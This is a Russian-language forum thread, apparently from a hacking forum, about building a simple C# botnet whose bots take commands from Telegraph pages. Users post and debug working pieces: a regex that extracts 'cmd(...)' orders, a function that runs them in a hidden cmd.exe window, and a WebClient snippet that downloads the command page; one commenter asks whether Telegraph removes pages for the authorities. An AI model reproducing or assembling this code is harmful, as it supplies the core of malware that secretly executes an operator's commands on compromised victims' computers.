Решено Простой BotNet на c# управляемый через Telegraph

Egolds

Green Team
17.02.2019
20
15
BIT
0
В этом видео я покажу как создать простой ботнет на c#.
Управление ботами будет выполняться через Telegraph.
Что обеспечивает полную анонимность, если верить Павлу Дурову.

 
Интересненько) А страницы Телеграф удаляют по запросу органов?)
 
ComContent = cmd_cnt[1];
System.IndexOutOfRangeException: "Индекс находился вне границ массива."
 
System.IndexOutOfRangeException: "Индекс находился вне границ массива."

ComContent = cmd_cnt[1];
 
  • Не нравится
Реакции: mrOkey
Еще куча проблем с юникодом, или кодировками хз. У меня в телеграфе написано допустим cmd(ping google.com), функция парсинга возвращает ╘cmd(ping g║ oogle.com) или что-то наподобие
 
  • Не нравится
Реакции: pedro и mrOkey
Еще куча проблем с юникодом, или кодировками хз. У меня в телеграфе написано допустим cmd(ping google.com), функция парсинга возвращает ╘cmd(ping g║ oogle.com) или что-то наподобие
А ты как разделяешь данную строку cmd(ping google.com)? и как её обрабатываешь?
 
C#:
Regex CmdParse = new Regex(@"cmd\((.*?)\)");
CmdArg = CmdParse.Match(Str).Groups[1].Value;

ну и скрыто вызываю консоль передавая туда содержение переменной CmdArg
C#:
internal static void Cmd(string args)
{
        Process.Start(new ProcessStartInfo
        {
            FileName = "cmd",
            Arguments = $"/c {"cd %HOMEPATH% &&" + args }", // тут можно и без cd homepath, просто мне удобнее так ¯\_(ツ)_/¯ 
            WindowStyle = ProcessWindowStyle.Hidden

        }).WaitForExit();
}
 
  • Не нравится
Реакции: pedro и mrOkey
C#:
Regex CmdParse = new Regex(@"cmd\((.*?)\)");
CmdArg = CmdParse.Match(Str).Groups[1].Value;

ну и скрыто вызываю консоль передавая туда содержение переменной CmdArg
C#:
internal static void Cmd(string args)
{
        Process.Start(new ProcessStartInfo
        {
            FileName = "cmd",
            Arguments = $"/c {"cd %HOMEPATH% &&" + args }", // тут можно и без cd homepath, просто мне удобнее так ¯\_(ツ)_/¯
            WindowStyle = ProcessWindowStyle.Hidden

        }).WaitForExit();
}
вопрос, зачем в методе Cmd используешь модификатор доступа internal ?

по поводу выражения, вот сам проверь как работает:
так что скорее, проблема с твоим трафиком, либо у тебя что-то приемом кодировки что-то не так.

На всякий случай попробуй добавить определение кодировки:

C#:
using(WebClient wc = new WebClient())
            {
                wc.Proxy = null;
                wc.Encoding = System.Text.Encoding.UTF8; // <--
   
                return wc.DownloadString(URI);
            }
 
Последнее редактирование:
до обработки какое содержимое ты получаешь после выполнения ф-ции web.GetHTML ?
Конкретно в данный момент такое
System.Net.WebException: "Базовое соединение закрыто: Непредвиденная ошибка при передаче."
вопрос, зачем в методе Cmd используешь модификатор доступа internal ?

по поводу выражения, вот сам проверь как работает:
так что скорее, проблема с твоим трафиком, либо у тебя что-то приемом кодировки что-то не так.

На всякий случай попробуй добавить определение кодировки:

C#:
using(WebClient wc = new WebClient())
            {
                wc.Proxy = null;
                wc.Encoding = System.Text.Encoding.UTF8; // <--
  
                return wc.DownloadString(URI);
            }
Спасибо, так воркает
 
  • Не нравится
  • Нравится
Реакции: mrOkey и Egolds
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!